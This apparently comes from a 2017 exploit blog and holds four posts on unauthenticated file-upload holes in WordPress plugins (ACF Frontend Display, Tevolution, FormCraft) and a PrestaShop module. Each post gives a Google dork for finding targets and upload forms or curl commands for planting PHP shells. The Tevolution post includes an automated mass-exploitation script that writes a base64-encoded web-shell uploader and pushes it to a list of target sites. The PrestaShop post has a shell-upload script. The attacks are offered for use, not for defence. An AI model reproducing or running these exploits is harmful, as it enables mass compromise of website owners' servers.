Showing posts with label upload. Show all posts
Showing posts with label upload. Show all posts
Sunday, February 19, 2017
WordPress Plugins ACF Frontend Display File Upload Vulnerability
WordPress Plugins ACF Frontend Display File Upload Vulnerability
#- Title: WordPress Plugins ACF Frontend Display File Upload Vulnerability
#- Author: TUNISIAN CYBER
#- Date: 2015-07-07
#- Developer : dadmor
#- Link Download : github. com/dadmor/ACF_frontend_display
#- Google Dork: inurl:"/plugins/acf-frontend-display/"
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --
Vulnerability : site/wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php
When Vulnerable : Like jquery file upload
Method
CSRF :
<form method="POST" action="http://3xploi7.blogspot.com/wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>
With curl :
curl -k -X POST -F "action=upload" -F "3xploi7.php" "site:wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php"
Need Shell Path ? Click Here
Available link for download
Saturday, February 18, 2017
Wordpress Tevolution Plugin File Upload Vulnerability
Wordpress Tevolution Plugin File Upload Vulnerability
#- Author: unknown
#- Date: 2016
#- Developer : templatic
#- Link Download : templatic. com/wordpress-plugins/tevolution
#- Google Dork: inurl:"/plugins/Tevolution/"
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --
Description :
The Tevolution WordPress plugin enables advanced functionality in our themes. Some of the features it enables include custom post types, monetization options, custom fields… Cool thing about Tevolution is the fact it’s modular, meaning you can turn off the features you do not need.
Vulnerability : site/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php
When Vulnerable :Maybe "Blank"
-- Method --
CSRF
<form
action="http://3xploi7.blogspot.com/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="3xploi7ed !">
</form>
Tevolution Auto Exploit Coded by IndoXploit
<html>
<center>
<form method="post" enctype="multipart/form-data">
Shellname: <br><input type="text" name=filename style=width: 500px; height="10" value=indoxploit.php.xxxjpg required><br>
Target: <br><textarea name="url" style="width: 500px; height: 200px;" placeholder="http://www.target.com/"></textarea><br>
<input type=submit name=exp value=Hajar! style=width: 500px;>
</form>
<?php
// IndoXploit
set_time_limit(0);
error_reporting(0);
function buffer() {
ob_flush();
flush();
}
function curl($url, $payload) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_COOKIEJAR, cookie.txt);
curl_setopt($ch, CURLOPT_COOKIEFILE, cookie.txt);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER[HTTP_USER_AGENT]);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
$file = htmlspecialchars($_POST[filename]);
$site = explode(" ", $_POST[url]);
$do = $_POST[exp];
$uploader = base64_decode("PD9waHANCmVjaG8gIkluZG9YcGxvaXQgLSBBdXRvIFhwbG9pdGVyIjsNCmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI+IjsNCmVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQo8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0naWR4Jz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPg0KPC9mb3JtPiI7DQppZigkX1BPU1RbJ3VwbG9hZCddKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snaWR4J11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2lkeCddWyduYW1lJ10pKSB7DQoJZWNobyAic3Vrc2VzIjsNCgl9IGVsc2Ugew0KCWVjaG8gImdhZ2FsIjsNCgl9DQp9DQo/Pg==");
if($do) {
$y = date("Y");
$m = date("m");
$idx_dir = mkdir("indoxploit_tools", 0755);
$shell = "indoxploit_tools/".$file;
$fopen = fopen($shell, "w");
fwrite($fopen, $uploader);
fclose($fopen);
foreach($site as $url) {
$target = $url./wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php;
$cek_shell = "$url/wp-content/uploads/$y/$m/$file";
$data = array(
"Filedata" => "@$shell"
);
$curl = curl($target, $data);
if($curl) {
$cek = file_get_contents($cek_shell);
if(preg_match("/IndoXploit - Auto Xploiter/is", $cek)) {
echo "<a href=$cek_shell target=_blank>$cek_shell</a> -> shellmu<br>";
}
}
buffer();
}
}
?>
Format Shell > php, php4, php5, php.xxxjpg, php.asp Etc.
If Succesfully [3xploi7.php4]
Need Shell Path ? Click Here
Available link for download
Monday, February 6, 2017
WordPress Plugins FromCraft File Upload
WordPress Plugins FromCraft File Upload
#- Title: WordPress Plugins FromCraft File Upload
#- Author: -
#- Date: -
#- Developer : AndonDesign
#- Link Download : wordpress .org/plugins/formcraft-form-builder
#- Google Dork: inurl:"/plugins/formcraft/"
#- Fixed in Version : -
#- Tested on : win
=======================================================
-- Proof Of Concept --
Vulnerable : /wp-content/plugins/formcraft/file-upload/server/php/upload.php
When Vuln : {"files":
CSRF :
<form method=”POST” action=”http://victim. com/wp-content/plugins/formcraft/file-upload/server/php/upload.php”enctype=”multipart/form-data”><input type=”file” name=”files[]” /><button>Upload</button></form>
Shell Path : Here
Available link for download
Saturday, January 28, 2017
Module Files Upload Arbitrary File Upload PrestaShop
Module Files Upload Arbitrary File Upload PrestaShop
#- Title: Module Files Upload Arbitrary File Upload - PrestaShop
#- Author: UyulCrack
#- Published : 30/06/2016
#- Developer : Prestashop
#- Link Download : addons.prestashop .com/fr/4270-files-upload.html
#- Price : 79,99 €
#- Google Dork: Use Your Brain
#- Google Dork: Use Your Brain
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --
Description :
Simplify sending large files to your customers! This module allows your customers to send you one or more files in a simple and fast way. For example, a client wants to send EPS files of several gigabytes.
With this module you can recover the files just in the backoffice of your PrestaShop,
With this module you can recover the files just in the backoffice of your PrestaShop,
- Multilingual
- Multi Upload
- Drag and Drop
- Filter on file extensions
- Limit files size
- Download customers files on the backoffice
- Send a mail to the customer at the end of the upload
- Send an email to the admin of the store
- Only connected customers can upload files
- Multi-Hook Module: right column, top left page, product page.
Vulnerability :
site /modules/filesupload/upload.php
site /modules/filesupload/upload.php
When Vuln :
{"jsonrpc" : "2.0", "result" : null, "id" : "id"}
CSRF
<?php
$url = "http://www.site"; // put URL Here
$post = array
(
"file" => "@3xploi7.jpg",
"name" => "3xploi7.php"
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data;
?>
If Succesfully >
Shell Acces ? Click Here
Greetings by UyulCrack
Thanks for TKJ Cyber Art - Indonesian Code Party - ZeynnymouZAvailable link for download
Subscribe to:
Posts (Atom)